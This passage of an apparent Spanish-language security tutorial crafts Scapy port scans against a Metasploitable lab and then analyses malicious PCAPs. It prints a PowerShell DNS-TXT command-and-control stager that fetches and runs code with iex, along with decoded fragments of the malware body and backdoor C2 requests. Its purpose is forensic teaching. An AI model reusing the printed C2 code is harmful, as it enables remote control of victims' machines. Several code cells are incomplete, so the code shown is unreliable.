● Si responden [SYN/ACK] --> está abierto.
● Si responden [RST] --> está cerrado.
● Si no responden --> firewall o silencio voluntario.
In [165]:
from [Link] import *
target = "[Link]"
ports = [21, 22, 23, 25, 80, 139, 445, 3306] # algunos clásicos para Metasploitable 2
Es el famoso scan tipo Nmap -sS. Mandas un SYN, si te contestan SYN/ACK, el puerto está abierto... si te
responden con RST, está cerrado.
226
3. TCP ACK Scan
Aquí no te importa tanto si el puerto está abierto o cerrado, sino si hay un firewall filtrando. Mandas un ACK y
ves cómo responde.
In [166]:
from [Link] import *
target = "[Link]"
ports = [22, 80, 139, 445]
Es el famoso scan tipo Nmap -sS. Mandas un SYN, si te contestan SYN/ACK, el puerto está abierto... si te
responden con RST, está cerrado.
El Xmas scan prende varios flags a la vez (FPU = FIN, PSH, URG). En algunos stacks TCP viejos, los
puertos cerrados responden con RST y los abiertos se quedan callados.
In [169]:
from [Link] import *
target = "[Link]"
ports = [21, 22, 23, 80, 139, 445]
227
if tcp_layer.flags & 0x4: # RST
print(f"[CLOSED] TCP {dport}/tcp cerrado (RST en Xmas scan)")
Lo normal es:
target = "[Link]"
ports = [22, 53, 69, 161, 9999] # algunos típicos UDP para probar
pkt = IP(dst=target)/UDP(dport=ports)
ans, unans = sr(pkt, timeout=3, verbose=0)
228
Tablas de Ayuda Flags TCP
Scapy usa el operador / para apilar capas de red, es como poner una carta dentro de un sobre y después
meter ese sobre en otro:
229
Donde:
Cuando haces un [Link](), Scapy te muestra todas las capas y todos los campos, incluso los que va a
autocompletar después cuando se envíe (checksum, lengths, sequence numbers, etc.).
Ejemplo:
In [168]:
from [Link] import *
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = S
window = 8192
chksum = None
urgptr = 0
options = []
● Capa IP
● Capa TCP
● Campos
● Flags
● Checksums
230
● Seq / Ack
● TTL
● etc.
1. Capa IP
● src --> la IP desde donde saldrá (Scapy la detecta)
● dst --> la IP a la que envías
● ttl --> tiempo de vida del paquete
● id --> identificador único del paquete
● proto=tcp -->Scapy detecta que encima va TCP
2. Capa TCP
● sport --> puerto origen (auto generado si no lo pones)
● dport=80 --> puerto destino (HTTP)
● flags="S" --> SYN --> quiero iniciar conexión
● seq --> número de secuencia inicial
● chksum --> lo calcula Scapy cuando envías
● window --> tamaño de ventana del TCP
● options --> opciones TCP (ninguna aquí)
El siguiente código corto, sirve para ver varias flags y cómo se ven en la estructura empaquetada:
In [171]:
from [Link] import *
flags = ["S", "A", "F", "R", "P", "U", "SA", "FA", "FPU"] # Xmas incluido
for f in flags:
pkt = IP(dst=dst)/TCP(dport=80, flags=f)
print("\n [ FLAG:", f, " ]")
[Link]()
S ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
231
dataofs = None
reserved = 0
flags = S
window = 8192
chksum = None
urgptr = 0
options = []
A ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = A
window = 8192
chksum = None
urgptr = 0
options = []
F ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
232
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = F
window = 8192
chksum = None
urgptr = 0
options = []
R ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = R
window = 8192
chksum = None
urgptr = 0
options = []
P ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
233
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = P
window = 8192
chksum = None
urgptr = 0
options = []
U ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = U
window = 8192
chksum = None
urgptr = 0
options = []
SA ]
###[ IP ]###
version = 4
ihl = None
tos = 0x0
234
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = SA
window = 8192
chksum = None
urgptr = 0
options = []
FA ]
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = FA
window = 8192
chksum = None
urgptr = 0
options = []
235
FPU ]
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = FPU
window = 8192
chksum = None
urgptr = 0
options = []
Ahora Vamos a ver en pantalla cada paquete (IP, puertos, flags), además, mostrar el payload (sí tiene) tipo
HTTP. Luego, guardar todo en un pcap para que tú puedas verlo en Wireshark y pegarme partes acá para
revisarlo.
In [12]:
from [Link] import *
def packet_callback(pkt):
#solo mostramos si tiene capa IP y TCP
if [Link](IP) and [Link](TCP):
ip = pkt[IP]
tcp = pkt[TCP]
print("\n" + "="*70)
print(f"{[Link]}:{[Link]} -> {[Link]}:{[Link]} Flags={[Link]}")
236
# si tiene datos (HTTP u otros), los mostramos parcial
if [Link](Raw):
raw = pkt[Raw].load
try:
text = [Link](errors="ignore")
except:
text = repr(raw)
pkts = sniff(
filter=filtro,
timeout=20, # captura de 20 segundos y luego termina
prn=packet_callback, # función que imprime cada paquete
store=True # guardamos los paquetes en memoria
)
[*] Sniffeando trafico con filtro: host [Link] and tcp port 80
[*] Ahora, desde otra consola/celda, corre tu curl [Link]
[*] Este sniffer se detendrá solo después de 20 segundos....
======================================================================
[Link]:1237 -> [Link]:80 Flags=S
======================================================================
[Link]:1237 -> [Link]:80 Flags=S
======================================================================
[Link]:1237 -> [Link]:80 Flags=S
======================================================================
[Link]:1237 -> [Link]:80 Flags=S
======================================================================
[Link]:80 -> [Link]:1237 Flags=SA
======================================================================
237
[Link]:1237 -> [Link]:80 Flags=A
======================================================================
[Link]:1237 -> [Link]:80 Flags=PA
--- DATA (primeros 300 bytes) ---
GET / HTTP/1.1
Host: [Link]
User-Agent: curl/8.16.0
Accept: */*
======================================================================
[Link]:80 -> [Link]:1237 Flags=A
======================================================================
[Link]:80 -> [Link]:1237 Flags=PA
--- DATA (primeros 300 bytes) ---
HTTP/1.1 200 OK
Date: Sun, 23 Nov 2025 03:22:30 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Content-Type: text/html
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
_ _ _ _
----------- FIN DATA -----------
======================================================================
[Link]:1237 -> [Link]:80 Flags=FA
======================================================================
[Link]:80 -> [Link]:1237 Flags=FA
======================================================================
[Link]:1237 -> [Link]:80 Flags=A
Desde tu terminal, una vez encendido el sniffer, visita tu metasloitable con : curl [Link] y
listo.
238
El proceso queda de la siguiente manera, después de escuchar el trafico de red:
● S -- > SYN
● A -- > ACK
● PA -- > GET /
● FA -- > FIN/ACK
● A -- > ACK
Eso me pasó con tres PCAP que encontré en GitHub. No tenían instrucciones ni etiquetas, solo estaban ahí,
esperando que alguien los abriera. Así que lo hice como cualquiera, con curiosidad, sin saber qué iba a
encontrar.
El primero tenía un comportamiento extraño desde el inicio. Tráfico DNS, sí, pero no el de siempre. Era como
escuchar a dos personas conversando en voz muy baja, casi como si no quisieran ser descubiertas. Cuando
abrí los paquetes TXT, apareció un texto raro, largo, formando un comando en base64 y recomponiéndolo
pedazo a pedazo. No necesitas ser analista para sospechar. Es como ver a alguien “solo revisando la puerta”
pero con ganzúas en la mano. A veces la intención está en los detalles.
La idea es ir de lo muy general a lo muy específico, Ver el cuadro general del tráfico, luego enfocarse en
DNS, posterior, quedarse solo con los TXT y ver qué esconden esos TXT (el C2).
In [92]:
# instalar librerias
!pip install scapy pandas matplotlib
239
Requirement already satisfied: pytz>=2020.1 in
c:\users\starh\anaconda3\lib\site-packages (from pandas) (2024.1)
Requirement already satisfied: tzdata>=2022.7 in
c:\users\starh\anaconda3\lib\site-packages (from pandas) (2025.2)
Requirement already satisfied: contourpy>=1.0.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (1.3.1)
Requirement already satisfied: cycler>=0.10 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (0.11.0)
Requirement already satisfied: fonttools>=4.22.0 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (4.55.3)
Requirement already satisfied: kiwisolver>=1.3.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (1.4.8)
Requirement already satisfied: packaging>=20.0 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (24.2)
Requirement already satisfied: pillow>=8 in c:\users\starh\anaconda3\lib\site-packages
(from matplotlib) (11.1.0)
Requirement already satisfied: pyparsing>=2.3.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (3.2.0)
Requirement already satisfied: six>=1.5 in c:\users\starh\anaconda3\lib\site-packages
(from python-dateutil>=2.8.2->pandas) (1.17.0)
[Link]
kdoor_DGA.pcapng
[Link]
20dns%20txt%20queries%20and%[Link]
[Link]
eterpreter_portfwd.pcapng
In [93]:
PCAP_DNS_C2 = r"C:\pcap\cmds over dns txt queries and [Link]" # ejemplo 1
PCAP_DGA = r"C:\pcap\C2_Foudre_Backdoor_DGA.pcapng" # ejemplo 2
PCAP_RDP_C2 = r"C:\pcap\rdp_tunneling_meterpreter_portfwd.pcapng" # ejemplo 3
Primero armamos una función Jedi que sirve para cualquier pcap, no solo este:
In [94]:
from [Link] import rdpcap, IP, TCP, UDP, DNS, Raw
from collections import Counter # importa para contar elementos repetidos
import pandas as pd
240
# contadores para protocolos y capas
proto_tcp = 0 # contador de paquetes tcp
proto_udp = 0 # contador de paquetes udp
proto_icmp = 0 # contador de paquetes icmp
proto_other = 0 # contador de otros protocolos ip
# contadores de ip y puertos
src_ips = Counter() # contador de ip de origen
dst_ips = Counter() # contador de ip de destino
tcp_dports = Counter() # contador de puertos destino tcp
udp_dports = Counter() # contador de puertos destino udp
sizes = [] # lista para guardar tamaños de paquetes
# recorre cada paquete y acumula estadísticas
for p in pkts: # iteración sobre cada paquete
[Link](len(p)) # guarda el tamaño del paquete en bytes
if IP in p: # preguntamos si el paquete tiene capa ip
src_ips[p[IP].src] += 1 # contador de ip origen
dst_ips[p[IP].dst] += 1 # contador de ip destino
241
df_dst = [Link](dst_ips.most_common(), columns=["ip_dst", "count_dst"]) # ip
de destino más comunes
df_tcp_dports = [Link](tcp_dports.most_common(), columns=["tcp_dport",
"count"]) # puertos tcp destino más comunes
df_udp_dports = [Link](udp_dports.most_common(), columns=["udp_dport",
"count"]) # puertos udp destino más comunes
sizes_series = [Link](sizes, name="packet_size") # serie con tamaños de
paquetes
Usamos la función:
In [95]:
resumen, df_src, df_dst, df_tcp_dports, df_udp_dports, sizes =
resumen_pcap(PCAP_DNS_C2)
print("\nTop IP origen:")
print(df_src.head(5))
print("\nTop IP destino:")
print(df_dst.head(5))
Top IP origen:
ip_src count_src
0 [Link] 152
1 [Link] 97
2 [Link] 2
Top IP destino:
ip_dst count_dst
0 [Link] 113
1 [Link] 99
2 [Link] 31
3 [Link] 6
4 [Link] 2
242
Qué deberías sentir al ver los resultados:
In [97]:
import [Link] as plt
PCAP_DNS_C2
Imagina que te pasaron un .pcap sin ningún contexto. Solo sabes que se llama cmds over dns txt queries
and responses. El nombre ya te cierra un ojo, pero en este mundo uno aprende a no enamorarse de las
sospechas... Así que lo abres con mucha curiosidad y paciencia.
243
Nuestro sable láser será Scapy, porque nos deja diseccionar cada capa sin hacer ruido. El primer script fue
simple pero crucial: leer y filtrar.
In [98]:
from [Link] import rdpcap, DNS
import pandas as pd
import base64, re
Scapy te responde que son 301 paquetes y eso, no está mal.... es decir, no es muy grande como para
perderse y más bien es pequeñito y eso juega a nuestro favor... es como el tipo de conversación que podrías
analizar con un café sin que se te enfríe.
Así que decides ver si hay algo de DNS, porque el nombre del archivo ya lo insinúa y efectivamente, cuando
empiezas a recorrer los paquetes, los registros TXT empiezan a aparecer como pequeñas señales en la
oscuridad... El truco aquí fue no confiar en los tipos, sino mirar el contenido. Los atacantes, como buenos
artistas del caos, no siempre respetan las etiquetas.
Ahora, leamos todo lo que parezca texto, aunque Scapy no lo entienda bien:
In [99]:
txt_records = []
244
"raw_txt": [Link]()
})
for r in txt_records[:5]:
print("\nRegistro:")
for k, v in [Link]():
print(f"{k}: {v}")
Registro:
time: 1591425407.785742
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt: [Link].
Registro:
time: 1591425407.904008
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt: @$str='';$i=1;while(1){if(''+(nslookup -q=txt "l.$[Link].") -match
'@(.*)@'){$str +=
[[Link]]::[Link]([[Link]]::FromBase64String($matches[1]))
} else {break;}$i++}iex $str@
Registro:
time: 1591425408.070239
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt:
@JF9ucyA9ICJucy5vc3RyeWtlYnMucGwuIgokX3NzID0gUmFuZG9tIC1NYXhpbXVtIDUwMDAwCiRfY20gPSA2MC
8yCiRfZG0gPSAxODAvMgokX2JzID0gIiRfc3MuJF9ucyIKCmZ1bmN0aW9uIGNyYygkYSl7JHM9MDtbaW50W11dW
2NoYXJbXV0kYXxmb3JlYWNoIHskcys9JF99O3JldHVybiAkc30KZnVuY3Rpb24gdW5iKCRiKXtyZXR1@
Registro:
time: 1591425408.235506
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt:
@cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbU
Jhc2U2NFN0cmluZygkYikpfQpmdW5jdGlvbiBlbmMoJGEpeyRyPSIiO1tTeXN0ZW0uVGV4dC5FbmNvZGluZ106O
lVURjguR2V0Qnl0ZXMoJGEpfEZvcmVhY2h7JHIrPVtTeXN0ZW0uU3RyaW5nXTo6Rm9ybWF0KCJ7MDp4@
Registro:
time: 1591425408.354702
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt:
@Mn0iLFtTeXN0ZW0uQ29udmVydF06OlRvVWludDMyKCRfKSk7fTtyZXR1cm4gJHI7fQpmdW5jdGlvbiBnZXRUWF
QoJGEsICR1bmIgPSAkVHJ1ZSkgeyRiPShuc2xvb2t1cCAtcT10eHQgJGEgMj4kbnVsbCkgLW1hdGNoICciJyAtc
mVwbGFjZSAnW1xzIl0nLCcnOyBpZigoJGIgLWVxICRGYWxzZSkgLW9yICghJHVuYikpIHtyZXR1cm4g@
245
Ahí en este resultado, frenas el café a medio sorbo...y dices, eso no es DNS.... Eso es PowerShell y no
cualquiera... uno que está usando nslookup dentro de un bucle para ir pidiendo registros TXT, concatenando
lo que le responden y luego ejecutándolo (iex $str). Eso, amigo, es un Command & Control sobre DNS.
Los demás registros lo confirman. Tienen el formato @JF9u...@ , que claramente es Base64 ...
Hasta aquí, la Fuerza te dice.... esta historia es principalmente DNS, pon atención ahí.... Entonces, ahora
vamos afinando el sable.. queremos ver cada consulta/respuesta DNS como fila de una tabla para saber
quién pregunta, quién responde, qué nombre pregunta, qué tipo, etc.
In [100]:
from [Link] import DNSQR, DNSRR
def dns_a_dataframe(pcap_path):
pkts = rdpcap(pcap_path)
rows = []
for p in pkts:
if not [Link](DNS):
continue
dns = p[DNS]
time_epoch = float([Link])
qname = None
qtype = None
if [Link] is not None and isinstance([Link], DNSQR):
qname = [Link](errors="ignore") if isinstance([Link],
bytes) else str([Link])
qtype = [Link]
an_name = None
an_type = None
an_rdata = None
if [Link] is not None and isinstance([Link], DNSRR):
an_name = [Link](errors="ignore") if
isinstance([Link], bytes) else str([Link])
an_type = [Link]
an_rdata = [Link]
[Link]({
"time_epoch": time_epoch,
"src": ip_src,
"dst": ip_dst,
246
"qr": qr,
"qname": qname,
"qtype": qtype,
"an_name": an_name,
"an_type": an_type,
"an_rdata": an_rdata
})
df = [Link](rows)
df["time"] = pd.to_datetime(df["time_epoch"], unit="s")
return df
df_dns = dns_a_dataframe(PCAP_DNS_C2)
print("Filas totales en df_dns:", len(df_dns))
df_dns.head(10)
Out[100]:
2020-06-06
1.591425 192.168.10 Non No
0 [Link] 0 None None None 06:36:47.765
e+09 0.121 e ne
563011
2020-06-06
1.591425 192.168.10 Non No
1 [Link] 1 None None None 06:36:47.785
e+09 0.121 e ne
742044
2020-06-06
1.591425 192.168.10 Non No
2 [Link] 0 None None None 06:36:47.786
e+09 0.121 e ne
063910
2020-06-06
1.591425 192.168.10 Non No
3 [Link] 1 None None None 06:36:47.904
e+09 0.121 e ne
007912
2020-06-06
1.591425 192.168.10 192.168.10 Non No
4 0 None None None 06:36:48.026
e+09 0.121 0.2 e ne
165009
247
2020-06-06
1.591425 192.168.10 192.168.10 Non No
5 1 None None None 06:36:48.031
e+09 0.2 0.121 e ne
550884
2020-06-06
1.591425 192.168.10 192.168.10 Non No
6 0 None None None 06:36:48.031
e+09 0.121 0.2 e ne
831026
2020-06-06
1.591425 192.168.10 192.168.10 Non No
7 1 None None None 06:36:48.070
e+09 0.2 0.121 e ne
239067
2020-06-06
1.591425 192.168.10 192.168.10 Non No
8 0 None None None 06:36:48.192
e+09 0.121 0.2 e ne
435980
2020-06-06
1.591425 192.168.10 192.168.10 Non No
9 1 None None None 06:36:48.198
e+09 0.2 0.121 e ne
050976
Aquí ya pasaste de mirar paquetes a mirar líneas de una historia, cada fila es... a tal hora, X le preguntó a Y
por Z.
Ahora viene la parte rica, buscar específicamente los TXT, que es donde el atacante esconde cadena,
payload, código, etc.
In [101]:
import pandas as pd
import [Link] as plt
import seaborn as sns
import numpy as np
# df real
df = [Link](txt_records)
248
return "Empty"
if "@" in x:
return "Base64 / Command"
elif "[Link]" in x:
return "Legit"
else:
return "Other TXT"
# graficamos el flujo
for t, color in [Link]():
subset = df[df["type"] == t]
[Link](subset["time"], subset["length"], s=100, alpha=0.8, label=t,
color=color, edgecolors="black", linewidths=0.5)
# aqui pondremos una linea que muestre la acumulacion de tamaño total (crecimiento
del payload)
df["cumulative"] = [Link](df["length"])
[Link](df["time"], df["cumulative"]/10, color="lime", linewidth=2, label="Crecimiento
acumulado (x10)")
249
Y lo hermoso de este gráfico es que muestra un ritmo del ataque...ves cómo la víctima lanza las primeras
consultas inofensivas, luego aparece una ráfaga de TXT con datos base64 (el script), y después el flujo se
apaga. Esa curva ascendente, es literalmente el malware descargando y ejecutando su propio cerebro.
Cuando encontramos registros TXT en DNS con esas cosas raras, no siempre son texto legible.... a veces
traen trozos de datos en Base64, eso es lo que el atacante usa para fragmentar y ocultar comandos dentro
de consultas o respuestas DNS. Ahora, lo que estás viendo, explicado como historia... imagina que el
atacante no puede usar HTTP ni HTTPS porque el firewall o el proxy lo bloquea, entonces dice.... ya, si no
me dejan navegar, voy a hablar a través del DNS.... y así, disfrazado de tráfico normal, comienza a pedir
pedacitos de texto que el servidor le envía escondidos en registros TXT.
In [102]:
import base64
import pandas as pd
import re
# Ahora, extraemos los fragmentos base64 (cada línea puede tener varios)
all_fragments = []
for i, row in [Link]():
txt = row["raw_txt"]
matches = [Link](r"[A-Za-z0-9+/=]{20,}", txt)
for m in matches:
all_fragments.append(m)
250
print(f"[-] Se encontraron {len(all_fragments)} fragmentos Base64 potenciales")
$d = "r."
for ($i=0; $i -lt $[Link]; $i+=$_cm) {
$
251
d += $[Link]($i, [[Link]]::Min($_cm, $[Link]-$i)) +"."
}
$d += "$chunk.$chunks.$id.$_bs"
$crcd=crc($d)
"chunk=$chunk, chunks=$chunks, id=$id, d=
$d, crc=$crcd"
do {
$rv = getTXT -a $d
"got: $rv, should have $crcd"
if ($rv -eq $crcd) {
break
}
} until(0)
}
return $d
}
$cid = 1
$sleepTime=3
$cmds = @{}
$partid = 1
do {
$status = "r"
$dom = "c.$cid-$partid.$_bs"
if ($global:s) {
#$dom = "c.$cid"+"_$global:s-$pa
rtid.$_bs"
$dom = "c.$cid-$partid.$global:s.$_bs"
#$global:s = ""
}
$p
artid++
if (($__parts -as [int]) -le ($__part -as [int])) {
if ($cmds[$__cid] -eq "") { $cid++; $partid=1; Start-Sleep -s $sleepTime;
continue }
$data = unb($cmds[$__cid
252
])
if ($data -eq "") { $cid++; $partid=1; Start-Sleep -s $sleepTime; continue }
$cmds[$__cid] = $False
$Global:lastCommand = $False
try {
#echo
"execute ---'$data'---"
$result = IEX $data
} catch [Exception] {
$result = $_.Exception
$status = "e"
}
$resultBytes = ""
if ($result) {
try {
$resultBytes = [Syst
[Link]]::ToBase64String($result)
} catch [Exception] {
$resultString = ($result | Out-String).Trim()
$resultBytes =
[[Link]]::ToBase64String([[Link]]::U
[Link]($resultString))
}
}
$lc = ""
if ($Global:lastCommand) {
$lc =
[[Link]]::ToBase64String([[Link]]::[Link]($Global:l
astCommand))
}
$rb = "$status|$lc|$resultBytes"
$partid = 1
$cid++
}
} until(0)
Cada fragmento que acabas de decodificar es un trozo del cuerpo del malware, escrito en PowerShell, el
atacante lo envía dividido en piezas que parecen inofensivas consultas DNS.... Luego, dentro de la máquina
infectada, el script lo reconstruye, línea por línea, como si estuviera armando un rompecabezas. Este
PowerShell no es cualquier script... es un túnel de Comando y Control (C2) sobre DNS, este C2, usa el
dominio [Link] como base y envía/recibe comandos en pequeñas piezas. El atacante no necesita
253
abrir puertos ni usar HTTP..... le basta con consultas DNS .... y lo hermoso (y peligroso) es que esto pasa sin
levantar alertas si no se inspeccionan los registros TXT.
PCAP_DGA
El del archivo C2_Foudre_Backdoor_DGA.pcapng, es otro tipo de criatura.... donde el primer pcap
hablaba en idioma DNS, este habla en voz baja pero con tráfico tipo HTTP, como si intentara mezclarse con
el tráfico normal de la web. Así que vamos a hacer lo mismo.... lo observamos con calma, con un café en
mano y lo traducimos al lenguaje humano.
In [103]:
resumen, df_src, df_dst, df_tcp_dports, df_udp_dports, sizes = resumen_pcap(PCAP_DGA) #
funcion q usamos primer ejemplo
print("\nTop IP origen:")
print(df_src.head(5))
print("\nTop IP destino:")
print(df_dst.head(5))
Top IP origen:
ip_src count_src
0 [Link] 15
1 [Link] 13
Top IP destino:
ip_dst count_dst
0 [Link] 15
1 [Link] 13
254
Si te fijas en los números, la conversación está equilibrada.... el servidor ([Link]) envía 15
paquetes, y el cliente ([Link]) 13. Eso ya descarta que sea una simple petición HTTP estática (donde el
cliente habla más). Acá hay diálogo, ida y vuelta... y eso, en análisis forense de red, casi siempre significa
control remoto o intercambio activo de comandos.
En este punto, podríamos ya dar el siguiente paso natural.... abrir los paquetes con Scapy y ver sus
contenidos. Pero lo haremos con cuidado, comentando cada línea, leyendo como quien examina una carta
bajo la luz cálida del café.
Primero, cargamos el pcap y buscamos solo los paquetes que traen datos reales, el resto, como el hola del
TCP (SYN, ACK), no nos sirve para leer contenido.
In [104]:
from [Link] import *
# luego, filtramos los paquetes TCP que tienen datos (capa Raw)
raw_pkts = [p for p in pcap if TCP in p and Raw in p]
------------------------------------------------------------
--- Paquete #1 ---
De [Link] ---> [Link]
255
HTTP/1.1 302 Found
Connection: Keep-Alive
X-Powered-By: PHP/7.3.23
Content-Type: application/octet-stream
Location: [Link]
Content-Length: 0
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
------------------------------------------------------------
--- Paquete #2 ---
De [Link] ---> [Link]
GET /de/[Link] HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
Host: [Link]
Cache-Control: no-cache
Connection: Keep-Alive
------------------------------------------------------------
--- Paquete #3 ---
De [Link] ---> [Link]
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: application/pgp-signature
Last-Modified: Mon, 19 Oct 2020 00:39:53 GMT
Accept-Ranges: bytes
Content-Length: 256
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed
=%*ka6|ܼ[מiWP;b?#ͮF\/hdZnwmj2KWlS>g&
.'K"VJv1=4|/̔,̴~sJjҳ}jɽ`%9зtB*)HM2,)(eM3#&: ρCIEą0DD_.މxlBO#uvb܌GxaG!2ʓ(
------------------------------------------------------------
--- Paquete #4 ---
De [Link] ---> [Link]
GET
/2014/?c=MSEDGEWIN10&u=IEUser&v=00021&s=TehN002&f=datadir1&mi=747f3d96%2D68a7%2D43f1%2D
8cbe%2De8d6dadd0358&b=64&t=2020%2D10%2D24%2D%2D7%2D28%2D20 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
Host: [Link]
Cache-Control: no-cache
------------------------------------------------------------
256
Cada paquete con Raw es un mensaje dentro de una sesión TCP ya establecida, si esto fuera una película,
los SYN y ACK serían los créditos iniciales, pero los Raw son el diálogo entre los protagonistas.
GET /de/?d=2020298&v=00021&t=2020...
Host: [Link]
User-Agent: Mozilla/5.0 ...
Y luego:
Acá es cuando el café se enfría un poco, porque te das cuenta de algo raro, no hay ningún navegador, no
hay usuario humano, pero sí hay un HTTP limpio, armado como si lo escribiera una máquina... eso es típico
de implantes automatizados.
Esa redirección es un clásico truco de Command and Control (C2) que mantienen las órdenes en archivos
temporales o rutas efímeras, para que si alguien revisa los logs, parezca tráfico normal.
HTTP/1.1 200 OK
Content-Type: application/pgp-signature
Content-Length: 256
y ahí ya sabés que el implante descargó algo, que hay un bloque cifrado, probablemente instrucciones o un
módulo firmado. Y si el caso sigue su patrón (como otros de Foudre), verás finalmente un:
que no significa que falló, sino que terminó la tarea.... es la forma elegante del atacante de decir... ya está,
misión cumplida.
In [107]:
# aquí, filtramos solo los paquetes TCP que contienen datos
257
raw_pkts = [p for p in pkts if [Link](TCP) and [Link](Raw)]
print("-" * 80)
Si ves un resultado, significa que ya estás leyendo el tráfico HTTP completo. Ahí empieza la parte de la
historia donde el implante Foudre se comunica con su servidor de mando y descarga instrucciones.
In [108]:
from [Link] import rdpcap, IP, TCP, Raw
import pandas as pd
pkts = rdpcap(PCAP_DGA)
http_records = []
for p in pkts:
if not ([Link](IP) and [Link](TCP)):
continue
ip = p[IP]
tcp = p[TCP]
258
raw = p[Raw].load
try:
raw_text = [Link](errors="ignore")
except:
raw_text = str(raw)
http_records.append({
"time_epoch": float([Link]),
"src": [Link],
"dst": [Link],
"sport": [Link],
"dport": [Link],
"direction": direction,
"payload": raw_text.strip(),
})
HTTP encontrados: 9
Out[108]:
[{'time_epoch': 1603549700.219521,
'src': '[Link]',
'dst': '[Link]',
'sport': 49727,
'dport': 80,
'direction': 'request',
'payload': 'GET /de/?d=2020298&v=00021&t=2020%2D10%2D24%2D%2D7%2D28%2D20
HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101
Firefox/40.1\r\nHost: [Link]\r\nCache-Control: no-cache'},
{'time_epoch': 1603549700.341498,
'src': '[Link]',
'dst': '[Link]',
'sport': 80,
'dport': 49727,
'direction': 'response',
'payload': 'HTTP/1.1 302 Found\r\nConnection: Keep-Alive\r\nX-Powered-By:
PHP/7.3.23\r\nContent-Type: application/octet-stream\r\nLocation:
[Link]\r\nContent-Length: 0\r\nDate: Sat, 24 Oct 2020 14:28:19
GMT\r\nServer: LiteSpeed\r\nCache-Control: no-cache, no-store, must-revalidate,
max-age=0'},
{'time_epoch': 1603549700.34851,
'src': '[Link]',
'dst': '[Link]',
259
'sport': 49727,
'dport': 80,
'direction': 'request',
'payload': 'GET /de/[Link] HTTP/1.1\r\nUser-Agent: Mozilla/5.0
(Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1\r\nHost:
[Link]\r\nCache-Control: no-cache\r\nConnection: Keep-Alive'}]
In [109]:
import pandas as pd
from [Link] import urlparse, parse_qs
df = [Link](http_records)
df["time"] = pd.to_datetime(df["time_epoch"], unit="s", errors="coerce")
def parse_http(payload):
lines = [Link]("\r\n")
first = lines[0].split(" ")
if len(first) < 2:
return None
method = first[0]
url = first[1]
host = None
for line in lines:
if [Link]().startswith("host:"):
host = [Link](":", 1)[1].strip()
parsed = urlparse(url)
params = parse_qs([Link])
return {
"method": method,
"url": url,
"path": [Link],
"host": host,
"params": params,
}
